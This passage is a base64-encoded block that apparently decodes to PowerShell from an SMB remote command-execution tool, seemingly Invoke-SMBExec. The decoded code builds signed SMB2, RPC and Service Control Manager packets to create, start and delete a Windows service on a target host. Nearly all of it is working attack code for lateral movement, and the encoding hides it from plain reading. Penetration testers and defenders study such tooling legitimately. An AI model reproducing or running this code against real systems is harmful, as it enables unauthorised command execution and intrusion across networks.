CAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJ0NyZWF0ZVNlcnZpY2VXJw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9tZXNzYWdlX0lEICs9IDIwDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwOSwweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfQ3JlZGl0UmVxdWVzdCJdID0gMHg3ZiwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX0ZsYWdzIl0gPSAweDA4LDB4MDAsMHgwMCwweDAwICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU0NNX2RhdGEgPSBHZXQtUGFja2V0U0NNQ3JlYXRlU2VydmljZVcgJFNNQl9zZXJ2aWNlX21hbmFnZXJfY29udGV4dF9oYW5kbGUgJFNNQl9zZXJ2aWNlX2J5dGVzICRTTUJfc2VydmljZV9sZW5ndGggJFNNQkV4ZWNfY29tbWFuZF9ieXRlcyAkU01CRXhlY19jb21tYW5kX2xlbmd0aF9ieXRlcw0KICAgICAgICAgICAgICAgICAgICAgICAgJFNDTV9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMldyaXRlUmVxdWVzdCAkU01CX2ZpbGVfSUQgJFNDTV9kYXRhLmxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9SUENfZGF0YSA9IEdldC1QYWNrZXRSUENSZXF1ZXN0IDB4MDMgJFNDTV9kYXRhLmxlbmd0aCAwIDAgMHgwMSwweDAwLDB4MDAsMHgwMCAweDAwLDB4MDAgMHgwYywweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1JQQ19kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhX2xlbmd0aCA9ICRTTUIyX2RhdGEuTGVuZ3RoICsgJFNDTV9kYXRhLkxlbmd0aCArICRSUENfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUIyX2hlYWRlci5MZW5ndGggJFJQQ19kYXRhX2xlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbiA9ICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkSE1BQ19TSEEyNTYuQ29tcHV0ZUhhc2goJFNNQjJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkU01CMl9zaWduYXR1cmVbMC4uMTVdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUIyX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1JlYWRSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2VfbmV4dCA9ICdTdGFydFNlcnZpY2VXJyAgDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAnU3RhcnRTZXJ2aWNlVycNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMzIuLjEzNV0pIC1lcSAnMDAtMDAtMDAtMDAnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIlNlcnZpY2UgJFNNQl9zZXJ2aWNlIGNyZWF0ZWQgb24gJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NlcnZpY2VfY29udGV4dF9oYW5kbGUgPSAkU01CX2NsaWVudF9yZWNlaXZlWzExMi4uMTMxXQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMjANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwOSwweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX0NyZWRpdFJlcXVlc3QiXSA9IDB4N2YsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9GbGFncyJdID0gMHgwOCwweDAwLDB4MDAsMHgwMCAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU0NNX2RhdGEgPSBHZXQtUGFja2V0U0NNU3RhcnRTZXJ2aWNlVyAkU01CX3NlcnZpY2VfY29udGV4dF9oYW5kbGUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU0NNX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NDTV9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMldyaXRlUmVxdWVzdCAkU01CX2ZpbGVfSUQgJFNDTV9kYXRhLmxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfUlBDX2RhdGEgPSBHZXQtUGFja2V0UlBDUmVxdWVzdCAweDAzICRTQ01fZGF0YS5sZW5ndGggMCAwIDB4MDEsMHgwMCwweDAwLDB4MDAgMHgwMCwweDAwIDB4MTMsMHgwMCANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhX2xlbmd0aCA9ICRTTUIyX2RhdGEuTGVuZ3RoICsgJFNDTV9kYXRhLkxlbmd0aCArICRSUENfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRSUENfZGF0YV9sZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduID0gJFNNQjJfaGVhZGVyICsgJFNNQjJfZGF0YSArICRSUENfZGF0YSArICRTQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkSE1BQ19TSEEyNTYuQ29tcHV0ZUhhc2goJFNNQjJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJFNNQjJfc2lnbmF0dXJlWzAuLjE1XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQjJfc2lnbmF0dXJlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQjJfaGVhZGVyICsgJFNNQjJfZGF0YSArICRSUENfZGF0YSArICRTQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIlRyeWluZyB0byBleGVjdXRlIGNvbW1hbmQgb24gJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdSZWFkUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZV9uZXh0ID0gJ0RlbGV0ZVNlcnZpY2VXJyAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkU01CX2NsaWVudF9yZWNlaXZlWzEzMi4uMTM1XSkgLWVxICczMS0wNC0wMC0wMCcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICJTZXJ2aWNlICRTTUJfc2VydmljZSBjcmVhdGlvbiBmYWlsZWQgb24gJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CRXhlY19mYWlsZWQgPSAkdHJ1ZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiU2VydmljZSBjcmVhdGlvbiBmYXVsdCBjb250ZXh0IG1pc21hdGNoIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJFeGVjX2ZhaWxlZCA9ICR0cnVlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJ0RlbGV0ZVNlcnZpY2VXJw0KICAgICAgICAgICAgICAgICAgICB7IA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZihbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRTTUJfY2xpZW50X3JlY2VpdmVbMTA4Li4xMTFdKSAtZXEgJzFkLTA0LTAwLTAwJykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIkNvbW1hbmQgZXhlY3V0ZWQgd2l0aCBzZXJ2aWNlICRTTUJfc2VydmljZSBvbiAkVGFyZ2V0Ig0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMDguLjExMV0pIC1lcSAnMDItMDAtMDAtMDAnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiU2VydmljZSAkU01CX3NlcnZpY2UgZmFpbGVkIHRvIHN0YXJ0IG9uICRUYXJnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMjANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXIgPSBHZXQtUGFja2V0U01CMkhlYWRlciAweDA5LDB4MDAgJFNNQjJfbWVzc2FnZV9JRCAkU01CMl90cmVlX0lEICRTTUJfc2Vzc2lvbl9JRA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9DcmVkaXRSZXF1ZXN0Il0gPSAweDdmLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfRmxhZ3MiXSA9IDB4MDgsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TQ01fZGF0YSA9IEdldC1QYWNrZXRTQ01EZWxldGVTZXJ2aWNlVyAkU01CX3NlcnZpY2VfY29udGV4dF9oYW5kbGUNCiAgICAgICAgICAgICAgICAgICAgICAgICRTQ01fZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9kYXRhID0gR2V0LVBhY2tldFNNQjJXcml0ZVJlcXVlc3QgJFNNQl9maWxlX0lEICRTQ01fZGF0YS5sZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfUlBDX2RhdGEgPSBHZXQtUGFja2V0UlBDUmVxdWVzdCAweDAzICRTQ01fZGF0YS5sZW5ndGggMCAwIDB4MDEsMHgwMCwweDAwLDB4MDAgMHgwMCwweDAwIDB4MDIsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9SUENfZGF0YSANCiAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YV9sZW5ndGggPSAkU01CMl9kYXRhLkxlbmd0aCArICRTQ01fZGF0YS5MZW5ndGggKyAkUlBDX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRSUENfZGF0YV9sZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX3NpZ24gPSAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhICsgJFJQQ19kYXRhICsgJFNDTV9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJEhNQUNfU0hBMjU2LkNvbXB1dGVIYXNoKCRTTUIyX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJFNNQjJfc2lnbmF0dXJlWzAuLjE1XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CMl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhICsgJFJQQ19kYXRhICsgJFNDTV9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdSZWFkUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlX25leHQgPSAnQ2xvc2VTZXJ2aWNlSGFuZGxlJw0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbG9zZV9zZXJ2aWNlX2hhbmRsZV9zdGFnZSA9IDENCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICdDbG9zZVNlcnZpY2VIYW5kbGUnDQogICAgICAgICAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9jbG9zZV9zZXJ2aWNlX2hhbmRsZV9zdGFnZSAtZXEgMSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJTZXJ2aWNlICRTTUJfc2VydmljZSBkZWxldGVkIG9uICRUYXJnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfbWVzc2FnZV9JRCArPSAyMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xvc2Vfc2VydmljZV9oYW5kbGVfc3RhZ2UrKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU0NNX2RhdGEgPSBHZXQtUGFja2V0U0NNQ2xvc2VTZXJ2aWNlSGFuZGxlICRTTUJfc2VydmljZV9jb250ZXh0X2hhbmRsZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ0Nsb3NlUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NDTV9kYXRhID0gR2V0LVBhY2tldFNDTUNsb3NlU2VydmljZUhhbmRsZSAkU01CX3NlcnZpY2VfbWFuYWdlcl9jb250ZXh0X2hhbmRsZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwOSwweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfQ3JlZGl0UmVxdWVzdCJdID0gMHg3ZiwweDAwDQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfRmxhZ3MiXSA9IDB4MDgsMHgwMCwweDAwLDB4MDAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNDTV9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMldyaXRlUmVxdWVzdCAkU01CX2ZpbGVfSUQgJFNDTV9kYXRhLmxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9SUENfZGF0YSA9IEdldC1QYWNrZXRSUENSZXF1ZXN0IDB4MDMgJFNDTV9kYXRhLmxlbmd0aCAwIDAgMHgwMSwweDAwLDB4MDAsMHgwMCAweDAwLDB4MDAgMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1JQQ19kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhX2xlbmd0aCA9ICRTTUIyX2RhdGEuTGVuZ3RoICsgJFNDTV9kYXRhLkxlbmd0aCArICRSUENfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUIyX2hlYWRlci5MZW5ndGggJFJQQ19kYXRhX2xlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbiA9ICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkSE1BQ19TSEEyNTYuQ29tcHV0ZUhhc2goJFNNQjJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkU01CMl9zaWduYXR1cmVbMC4uMTVdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUIyX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAg